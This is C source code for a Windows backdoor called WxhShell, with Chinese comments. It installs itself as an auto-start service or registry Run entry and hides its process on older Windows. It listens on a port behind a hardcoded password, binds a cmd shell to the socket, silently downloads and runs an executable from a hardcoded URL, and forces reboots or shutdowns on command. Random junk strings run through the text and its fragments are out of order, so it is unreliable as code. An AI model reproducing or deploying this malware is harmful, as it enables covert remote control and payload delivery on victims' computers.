    closesocket(wsh); >j:|3atb  
    ExitThread(0); cd+^=esSO  
    } DyIV/  
    break; -!~vA+jw1  
    } kF?S 2(vH  
  // 关机 3>M.]w6{  
  case 'd': { }7Jp :.qk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5;(0 $4I  
    if(Boot(SHUTDOWN)) #4N >d~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p {?}g'  
    else { (V)9s\Le_  
    closesocket(wsh); 7IQqN&J  
    ExitThread(0); # \<P]<C  
    } u uSHCp  
    break; mt I MW9  
    } 0Nt%YP  
  // 获取shell .*:h9AE7vo  
  case 's': { |,{+;:  
    CmdShell(wsh); 8m|x#*5fQl  
    closesocket(wsh); *W%'Di  
    ExitThread(0); y qkX:jt  
    break; 7PA=)a\  
  } "*t6t4/Q  
  // 退出 A6Q c;v+  
  case 'x': { KX=/B=3~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H>Ks6V)RL4  
    CloseIt(wsh); 80HEAv,O  
    break; \6i 9q=  
    } cCk1'D|X[e  
  // 离开 pagC(F  
  case 'q': { 8:<1|]]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jzQ I>u  
    closesocket(wsh); ;AltNGcM  
    WSACleanup(); [NjajA~z>F  
    exit(1); WkP|4&-<  
    break; %_)b>C18 y  
        } ?;fv!'?%  
  } GBW 7Y  
  } ,[^o9u uB  
Xj(>.E{~H  
  // 提示信息 7> )l{7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QU,?}w'?d  
} %uW<  
  } g4Bg6<;  
PK8V2Ttv  
  return; Rd0?zEKV  
} B]i+,u  
h~ZNHSP:  
// shell模块句柄 "~Us#4>  
int CmdShell(SOCKET sock) 0OEtU5lf`y  
{ 7F~xq#Wi#  
STARTUPINFO si; 9c%(]Rn:  
ZeroMemory(&si,sizeof(si)); Gy$o7|PA"{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g{]ej  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sE}sE=\  
PROCESS_INFORMATION ProcessInfo; <9 T [yg  
char cmdline[]="cmd"; h ;jsH!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I'P!,Y/>  
  return 0; $:P[v+Uy  
} u>1v~3,r#  
(a,6a  
// 自身启动模式 4@gl4&<h  
int StartFromService(void) >|(WS.n3C  
{ _4O[[~  
typedef struct ID&zY;f  
{ X=\x&Wt  
  DWORD ExitStatus; {<"[D([  
  DWORD PebBaseAddress; Mg&HRE  
  DWORD AffinityMask; }WoX9M; 1  
  DWORD BasePriority; 8`6 LMQ  
  ULONG UniqueProcessId; "1AjCHZ  
  ULONG InheritedFromUniqueProcessId; :3:)E  
}   PROCESS_BASIC_INFORMATION; =\*S'Ded  
 POkXd^pI  
PROCNTQSIP NtQueryInformationProcess; :K?iNZqWN6  
;>sq_4_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; []!tT-Gzy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cz$c)It  
jjNxatAN  
  HANDLE             hProcess; cS+?s=d  
  PROCESS_BASIC_INFORMATION pbi; v#w4{.8)  
 PVS\,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |I4D(#w.  
  if(NULL == hInst ) return 0; f.sPE8 #3=  
0GF%~6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s 8C:QC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UX03"gX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *pmoLiuB>  
UqY J#&MqY  
  if (!NtQueryInformationProcess) return 0; ]rKH|i  
CdE2w?1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nvw NjN  
  if(!hProcess) return 0; dV'6m@C  
L>eQ*311  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I):m6y@  
_$~ex ~v  
  CloseHandle(hProcess); 34HFrMi  
X}kVBT1w+x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s#M? tyhj  
if(hProcess==NULL) return 0; uHTKo(NG  
`Nc`xO?  
HMODULE hMod; @?(nwj~ s`  
char procName[255]; + ?[ ACZF  
unsigned long cbNeeded; QJb7U5:B+  
@DRfNJ}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \3,$YlG  
%jYQ  
  CloseHandle(hProcess); 8.6no  
9N`+ O  
if(strstr(procName,"services")) return 1; // 以服务启动 yN%3w0v  
Q3'(f9 x  
  return 0; // 注册表启动 ] `b<"  
} [J(@$Qix  
o%y+Y;|?J  
// 主模块 bL6L-S  
int StartWxhshell(LPSTR lpCmdLine) R V_MWv  
{ d{vc wZQ  
  SOCKET wsl; ot&j HS'  
BOOL val=TRUE; ;))[P_$zB  
  int port=0; :T8u?@ .  
  struct sockaddr_in door; hlY S=cgY=  
Ih9ORp7  
  if(wscfg.ws_autoins) Install(); rcD.P?"  
P*?d6v,r  
port=atoi(lpCmdLine); T9&,v<f  
zzDNWPzsA  
if(port<=0) port=wscfg.ws_port; y$+!%y*  
)m$1al  
  WSADATA data; /1s9;'I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3Y.d&Nz  
3 LZL!^ 5N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r? 6Z1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A= \'r<:  
  door.sin_family = AF_INET; *+4>iL*:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f=-!2#%  
  door.sin_port = htons(port); OgzGkc@A  
nA{ncTg1\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ][T9IAn  
closesocket(wsl); fJ|Bu("N  
return 1; 3"2<T^H]  
} MZ >0K  
g~i''lng  
  if(listen(wsl,2) == INVALID_SOCKET) { ?(|TP^  
closesocket(wsl); f D]An<  
return 1; ]DL> .<]d  
} ,Jw\3T1V  
  Wxhshell(wsl); .~V".tZV[  
  WSACleanup(); x0TnS #  
*IjdN,wox  
return 0; VdjU2d  
Cz$H k;3\6  
} Q9Xm b2LN  
]e#,\})Br  
// 以NT服务方式启动 \6nQ-S_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wnZ*k(  
{ Z]1z*dv  
DWORD   status = 0; A1=$kzw{UH  
  DWORD   specificError = 0xfffffff; [xp~@5r'  
<*b]JY V@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iPtm@f,bI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ps{&WT3a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PEwW*4Xo  
  serviceStatus.dwWin32ExitCode     = 0; }(vOaD|k=  
  serviceStatus.dwServiceSpecificExitCode = 0; {U+9,6.`  
  serviceStatus.dwCheckPoint       = 0; MFCbx>#  
  serviceStatus.dwWaitHint       = 0; pXh^M{.  
z?IY3]v*z<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :*w:eKk  
  if (hServiceStatusHandle==0) return; `,8R~-GPD  
p0:&7,+a,  
status = GetLastError(); 4u{E D(  
  if (status!=NO_ERROR) eF gb6dSh  
{ z!t3xFN&/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Kr+Bt y  
    serviceStatus.dwCheckPoint       = 0; A{n*NxKCX!  
    serviceStatus.dwWaitHint       = 0; "cz]bCr8  
    serviceStatus.dwWin32ExitCode     = status; ^0BF2&Zx  
    serviceStatus.dwServiceSpecificExitCode = specificError; jT wM<?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L;(3u'  
    return; <|>:UGAR  
  } '8kL1  
j_YZ(: =  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5D02%U2N)G  
  serviceStatus.dwCheckPoint       = 0; G3^n_]Jb  
  serviceStatus.dwWaitHint       = 0; 2=UTH% 1D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tr67ofld|  
} /i]=ndAk  
MlcoOi!  
// 处理NT服务事件,比如:启动、停止 %(wsGNd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dA MilTo  
{ 7HR%rO?'  
switch(fdwControl) Af! W K=  
{ 7+2aG  
case SERVICE_CONTROL_STOP: *F4G qX3  
  serviceStatus.dwWin32ExitCode = 0; +XaO?F[c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;   _c7  
  serviceStatus.dwCheckPoint   = 0; kdueQ(\  
  serviceStatus.dwWaitHint     = 0; s"^YW+HMb  
  { (/rIodHJO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 v,ae7$U&  
  } F" #3s=  
  return; ju2X*  
case SERVICE_CONTROL_PAUSE: :O @,Z_"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X:} 5L> '  
  break; SJ|.% gn  
case SERVICE_CONTROL_CONTINUE: vng8{Mx90*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >=q!!'$:  
  break; 6[Pr<4J  
case SERVICE_CONTROL_INTERROGATE: %_X[{(  
  break; =w>>7u$4  
}; 4@V<Suw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MdTd$ 4J3  
} )*QTxN  
 "lnk  
// 标准应用程序主函数 Zn=JmZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `a1R "A  
{ q'8@0FT0  
A"T. nqB^y  
// 获取操作系统版本 #}]il0d  
OsIsNt=GetOsVer(); 3E2.v5*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zo638*32  
sB1tce  
  // 从命令行安装 PFn[[~5V  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6s"bstc{  
@BQB NGR1  
  // 下载执行文件 JMe[ .S x  
if(wscfg.ws_downexe) { fm2Mi~}0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :aFpz6<  
  WinExec(wscfg.ws_filenam,SW_HIDE); p-03V"^&  
} bJMcI8`  
+H^V},dBp!  
if(!OsIsNt) { qFsg&<  
// 如果时win9x,隐藏进程并且设置为注册表启动 o4 OEA)k)=  
HideProc(); Y Z2VP  
StartWxhshell(lpCmdLine); x[uXD  
} kk7: A0._  
else ~X(xa  
  if(StartFromService()) !{ )AV/\D  
  // 以服务方式启动 k^%ec3l  
  StartServiceCtrlDispatcher(DispatchTable);  ,8 NEnB  
else l$~bkVNL  
  // 普通方式启动 7 |eSvC  
  StartWxhshell(lpCmdLine); +Q#Qu0_   
{zN_l!  
return 0; 5$G??="K  
} Xq)%w#l5?  
q>oH(A  
/>I8nS}T  
0*M}QXt  
=========================================== Y,Zv0-"  
_CwQ}n*  
%+W >+xRb  
/F9lW}pd  
%IXW|mi  
%L|bF"K5;  
" WMl^XZO  
*t*&Q /W  
#include <stdio.h> zMqEMx9  
#include <string.h> DczF0Ow  
#include <windows.h> tNf" X !  
#include <winsock2.h> A =#-u&l  
#include <winsvc.h> ?{P6AF-xcf  
#include <urlmon.h> KcF+!;:  
r{jD,x2  
#pragma comment (lib, "Ws2_32.lib") !l~aRj-WZ  
#pragma comment (lib, "urlmon.lib") /{)cI^9  
Gv3Fg[MA@c  
#define MAX_USER   100 // 最大客户端连接数 /g7?,/vnZ  
#define BUF_SOCK   200 // sock buffer 6zZR:ej  
#define KEY_BUFF   255 // 输入 buffer (eE}W~Z  
' 1]bjW*!  
#define REBOOT     0   // 重启 l%5%oN`4  
#define SHUTDOWN   1   // 关机 [MP :Eeg  
1e| M6*  
#define DEF_PORT   5000 // 监听端口 g*imswj7  
/%w[q:..h  
#define REG_LEN     16   // 注册表键长度 AFJY!ou~6  
#define SVC_LEN     80   // NT服务名长度 IGV.0l  
1>{-wL4rc  
// 从dll定义API c^gIK1f-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \k-juF80  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iC2nHZ*,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z(68^-V=:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ui;s.f  
{Y TF]J $  
// wxhshell配置信息 kU>|E<c*  
struct WSCFG { trt\PP:H%  
  int ws_port;         // 监听端口 V/%;:u l.  
  char ws_passstr[REG_LEN]; // 口令 Y rnqi-P  
  int ws_autoins;       // 安装标记, 1=yes 0=no |^{" 2l"j  
  char ws_regname[REG_LEN]; // 注册表键名 u(`A?H:  
  char ws_svcname[REG_LEN]; // 服务名 O!Cu.9}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (,y/nc=GN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |Cq J2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eH*b -H[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `bF;Ew;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =_6h{f&Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?O Nw*"9  
y.<Y]m  
}; cHct|Z u  
)Dpt<}}\  
// default Wxhshell configuration ^{bEq\5&  
struct WSCFG wscfg={DEF_PORT, Q8:ocEhR  
    "xuhuanlingzhe", o_m.MMEU  
    1, g$LwXfg  
    "Wxhshell", dV  
    "Wxhshell", ?tQv|x  
            "WxhShell Service", rL"k-5>fd  
    "Wrsky Windows CmdShell Service", =)5a=^ 6  
    "Please Input Your Password: ", >iJuR.:OO  
  1, 5)<jPyC  
  "http://www.wrsky.com/wxhshell.exe", T^G<)IX`c  
  "Wxhshell.exe" N\&;R$[9:  
    }; ,^C;1ph  
W/Q%%)J  
// 消息定义模块 Ls*=mh~IY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2=+ ,jX{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EIm\!'R]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R?SHXJ%'  
char *msg_ws_ext="\n\rExit."; cLP @0`^H  
char *msg_ws_end="\n\rQuit."; kn|l3+  
char *msg_ws_boot="\n\rReboot..."; XjU;oh4:.  
char *msg_ws_poff="\n\rShutdown..."; @'4D9A  
char *msg_ws_down="\n\rSave to "; r!iuwE@  
h!GixN?  
char *msg_ws_err="\n\rErr!"; ~C x2Q4E  
char *msg_ws_ok="\n\rOK!"; Tyl"N{ _  
KVy5/A/8c  
char ExeFile[MAX_PATH]; 6<nO2GW  
int nUser = 0; X\RTHlw']  
HANDLE handles[MAX_USER]; !YHu  
int OsIsNt; ZW%`G@d"H-  
"ukbqdKD  
SERVICE_STATUS       serviceStatus; D*,H%xA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J< M;vB)  
tn1aH +  
// 函数声明 WQL`;uIX  
int Install(void); h]P$L>  
int Uninstall(void); mX_`rvYII  
int DownloadFile(char *sURL, SOCKET wsh); jXZNr  
int Boot(int flag); --sb ;QG  
void HideProc(void); %L.+r!.  
int GetOsVer(void); /d'u1FnA =  
int Wxhshell(SOCKET wsl); s&</zU'  
void TalkWithClient(void *cs); k#[s)Ja?s  
int CmdShell(SOCKET sock); !o!04_  
int StartFromService(void); gs >cx]>  
int StartWxhshell(LPSTR lpCmdLine); ~!kbB4`WK  
!6C d.fpWL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VRt*!v<")  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c qp#1oM4M  
 ]plC  
// 数据结构和表定义 RoZV6U~  
SERVICE_TABLE_ENTRY DispatchTable[] = 8{u 01\0}  
{ M czWg  
{wscfg.ws_svcname, NTServiceMain}, k#n=mm'N9  
{NULL, NULL} m Y0C7i  
}; XQ8Imkc  
1 Y& d%AA  
// 自我安装 R&0l4g-4>  
int Install(void) Y~xZ{am  
{ 2Oa-c|F  
  char svExeFile[MAX_PATH]; }1dh/Cc`  
  HKEY key; Tp13V.|  
  strcpy(svExeFile,ExeFile); LAeXe!y  
DBRJtU!5x  
// 如果是win9x系统,修改注册表设为自启动 }dM^6 Kd%  
if(!OsIsNt) { qQ_QF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D6WsEd>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \2!$HA7P  
  RegCloseKey(key); U_No/$ b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W]OT=6u8o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gP@ni$n  
  RegCloseKey(key); +|;IIwo  
  return 0; 4KnDXQ%  
    } ,+&j/0U  
  } rpmDr7G  
} DV l: s  
else { x3 S  
 Eqc$*=  
// 如果是NT以上系统,安装为系统服务 4Q5v8k=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9':$!Eoq  
if (schSCManager!=0) T2{+fR v N  
{ KX`,7-  
  SC_HANDLE schService = CreateService e j9G[  
  ( |.A>0-']M  
  schSCManager, ?H&p zY~H  
  wscfg.ws_svcname, `O/)q^m1L  
  wscfg.ws_svcdisp, L/I-(08!Y:  
  SERVICE_ALL_ACCESS, 0bE_iu>f'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _f`m/l  
  SERVICE_AUTO_START, nq=fSK(  
  SERVICE_ERROR_NORMAL, >. Y ~F(  
  svExeFile, q}jf&xUWzH  
  NULL, $((<le5-)  
  NULL, ZE^de(Fm  
  NULL, '<Gqu_-  
  NULL, $c-3Q|C  
  NULL i  *<,@*  
  ); j4h 7q<  
  if (schService!=0) MYDSkW  
  { Y"@kvd  
  CloseServiceHandle(schService); WxFjpJt  
  CloseServiceHandle(schSCManager); CS/-:>s%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =%L^!//c  
  strcat(svExeFile,wscfg.ws_svcname); d,77L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IjNm/${$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W5p}oN  
  RegCloseKey(key); =EKJ!{  
  return 0; DQ)SMqOotw  
    } MD7[}cB  
  } 1 .M?Hp9i  
  CloseServiceHandle(schSCManager); j*5VJ:  
} e([&Nr8h  
} \ *2IU"R  
fHigLL0B  
return 1; \&H%k   
} 0`W~2ai  
C\{4<:<_&  
// 自我卸载 !cZsIcIe  
int Uninstall(void) xn"g_2Hi  
{ ^tv*I~>J!  
  HKEY key; {x8`gP\H  
XP7A.I#q0  
if(!OsIsNt) { 2B4c :jJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? _W*7<  
  RegDeleteValue(key,wscfg.ws_regname); z+b~#f3  
  RegCloseKey(key); 181P;R=}<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t`AD9 H"\!  
  RegDeleteValue(key,wscfg.ws_regname); N]duv~JS  
  RegCloseKey(key); 1jL?z6S  
  return 0; 1pV"< ,t  
  } R/#*~tPi8  
} f_7p.H6\  
} `&_qK~&/X  
else { 073(xAkL{  
% Y @3)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8^{BuUA  
if (schSCManager!=0) 7v-C-u[E`  
{ Lg^m?~{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9hv\%_>o  
  if (schService!=0) ty78)XI  
  { c:0$ M w=  
  if(DeleteService(schService)!=0) { i`Tne3)  
  CloseServiceHandle(schService); !rWib` %  
  CloseServiceHandle(schSCManager); 6"DvdJ0MB  
  return 0; 0^m02\Li  
  } `9ieTt  
  CloseServiceHandle(schService); :* 'i\  
  } 3EyN"Lvp{o  
  CloseServiceHandle(schSCManager); P ,i)A  
} oVu>jO:.  
} 4=9F1[  
v zn/waw  
return 1; -b{*8(d<I  
} 8{ep`$(K@  
O/k4W#  
// 从指定url下载文件 ! >:O3*/  
int DownloadFile(char *sURL, SOCKET wsh) K)qmJ-Gub  
{ /eI38>v  
  HRESULT hr; /nrDU*  
char seps[]= "/"; =y':VIVJC  
char *token; OD i)#  
char *file; {M$1?j"7  
char myURL[MAX_PATH]; {e~d^^N5  
char myFILE[MAX_PATH]; Xm*Dh#H  
1kpI?Plki  
strcpy(myURL,sURL); /'I/sWEV  
  token=strtok(myURL,seps); (p. 5J  
  while(token!=NULL) 4_mh  
  { y>G{GQ  
    file=token; HZ|6&9we  
  token=strtok(NULL,seps); K|B1jdzL  
  } +b{\v1b  
#NqA5QR  
GetCurrentDirectory(MAX_PATH,myFILE); BAxZR  
strcat(myFILE, "\\"); VHJr+BQ1K/  
strcat(myFILE, file); }LM_VZj  
  send(wsh,myFILE,strlen(myFILE),0); A$5T3j'  
send(wsh,"...",3,0); qb! vI3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j'7FTVmJ  
  if(hr==S_OK) 6wF ?FtT  
return 0; 0trFLX  
else YFW+l~[#  
return 1; MVdE7P  
YB 4R8}4  
} q)P<lKi  
$/D@=P kc  
// 系统电源模块 tHGK<rb  
int Boot(int flag) 7.5G4  
{ Dk4Wj"LS  
  HANDLE hToken; ZK13[_@9  
  TOKEN_PRIVILEGES tkp; S"Efp/-  
 hP7nt  
  if(OsIsNt) { # mzJ^V-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Q{kiy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rOcfPLJi0  
    tkp.PrivilegeCount = 1; p* ^O 8o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9`b*Y*d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); tp1{)|pwY6  
if(flag==REBOOT) { f6m^pbQFl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cJqPcCq(wn  
  return 0; -Wmpj  
} vj#gY2qZ  
else { 4 Hu+ljdjB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ALKhZFuz  
  return 0; (Q @m;i>  
} im&| H-  
  } M0^r!f>O  
  else { >LW9$[H  
if(flag==REBOOT) { ~[[a7$_4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 Fm.^9@  
  return 0; Jus)cO#I  
} 9/nL3U@i1  
else { ^lQej%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t$}+oCnkv  
  return 0; m, *f6g  
} g]3-:&F{c  
} :cOwTW?Fj  
~zuMX ;[  
return 1; [*1c.&%(  
} o2jnmv~  
K46mE   
// win9x进程隐藏模块 QJv,@@mu  
void HideProc(void) NoPM!.RU{  
{ ^c=@2#^\  
p>MX}^6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !D  
  if ( hKernel != NULL ) h IGa);g  
  { ]qXfg c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V,>#!zUv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); / {A]('t  
    FreeLibrary(hKernel); BkIvoW_  
  } %D&FnTa  
#Uudx~b  
return; l]%|w]i\  
} 0a(*/u  
{xOu*8J  
// 获取操作系统版本 B$7lL  
int GetOsVer(void) YGxdYwBwf  
{ D]4?UL  
  OSVERSIONINFO winfo; #M_QSD}&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u'=#~'6  
  GetVersionEx(&winfo); SK-|O9Ki  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q6osRK*20  
  return 1; K7CiICe  
  else PZ"xW0"-  
  return 0; %.Mtn%:I *  
} A^g81s.5  
i~\gEMaO  
// 客户端句柄模块 M>0~Ek%3  
int Wxhshell(SOCKET wsl) S46[2-v1  
{ @w2}WX>  
  SOCKET wsh; U;;Har   
  struct sockaddr_in client; Qi[T!1  
  DWORD myID; .%*.nq  
C@KYg/nYw  
  while(nUser<MAX_USER) 4E"qpy \(  
{ t);5Cw _  
  int nSize=sizeof(client); Cu!4ha.e`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $bMeL7CN  
  if(wsh==INVALID_SOCKET) return 1; 5m_@s?P[  
oE5+   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +[*UC"  
if(handles[nUser]==0) S-v9z:M3  
  closesocket(wsh); \Ud2]^D=  
else (spX3n%p  
  nUser++; .&* Tj}p  
  } 1-q\C<Q)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q9rE_} Z  
jkfI,T  
  return 0; [J:vSt  
} b5yb~;0  
L!{^^7  
// 关闭 socket |4dNi1{Zd  
void CloseIt(SOCKET wsh) Ef7 Kx49I  
{ 654PW9{(  
closesocket(wsh); Z3[,Xw  
nUser--; m 81\cg  
ExitThread(0); % 3FI>\3  
} !3Pl]S~6!  
/wIZ '  
// 客户端请求句柄 sz}Nal$AC  
void TalkWithClient(void *cs) DNL TJrN  
{ _&yQW&vH#  
QAu^]1;  
  SOCKET wsh=(SOCKET)cs; k"AY7vq@!P  
  char pwd[SVC_LEN]; 'X`\vTxB  
  char cmd[KEY_BUFF]; hI/p9 `w  
char chr[1]; uE/qraA  
int i,j; Y/{Z`}  
6#dx%TC  
  while (nUser < MAX_USER) { .}j@(D  
\QHM7C T  
if(wscfg.ws_passstr) { jQf1h|e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \*_qP*vq@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sba0Q[IY  
  //ZeroMemory(pwd,KEY_BUFF); VeCpz[r  
      i=0; heRQ|n.Dz)  
  while(i<SVC_LEN) { &(wik#S  
 vlE#z  
  // 设置超时 .k[Ptx>  
  fd_set FdRead; ^QXUiXzl  
  struct timeval TimeOut; ULsz<Hj  
  FD_ZERO(&FdRead); ~PS%^zxyn  
  FD_SET(wsh,&FdRead); Oi7:J> [  
  TimeOut.tv_sec=8; M8 ++JI  
  TimeOut.tv_usec=0; F2+lwycY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NH|v`rO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .o fYFK  
Z^#7&Pv0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6~D:O?2  
  pwd=chr[0]; C10A$=!  
  if(chr[0]==0xd || chr[0]==0xa) { \7W {/v4^  
  pwd=0; y<B "  
  break; R[o KhU  
  } x37r{$2  
  i++; '\ 6.GP  
    } /GCSC8T  
Qa"R?dfr  
  // 如果是非法用户,关闭 socket pQW^lqwZ:6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hu6)GOZbv  
} |[xi"E\  
y*_g1q$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X~W5Z(w(O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6I 2`m(5  
k%uRG_  
while(1) { g,x$z~zU{  
w6Ue5Ix,!  
  ZeroMemory(cmd,KEY_BUFF); VRMlr.T +  
WqwD"WX+w  
      // 自动支持客户端 telnet标准   5MiWM2"X\  
  j=0; LgB}!OLQ  
  while(j<KEY_BUFF) { q-p4k`]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Utn[']~  
  cmd[j]=chr[0]; D|UDLaz~  
  if(chr[0]==0xa || chr[0]==0xd) { <:/V`b3a  
  cmd[j]=0; gNe{P~ $=  
  break; hZ$* sf  
  } l *pCG`@J#  
  j++; $8X?|fV)  
    } vChkSY([  
#16)7  
  // 下载文件 vE{QN<6T  
  if(strstr(cmd,"http://")) { %lEPFp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YIjBKh  
  if(DownloadFile(cmd,wsh)) c9DX  
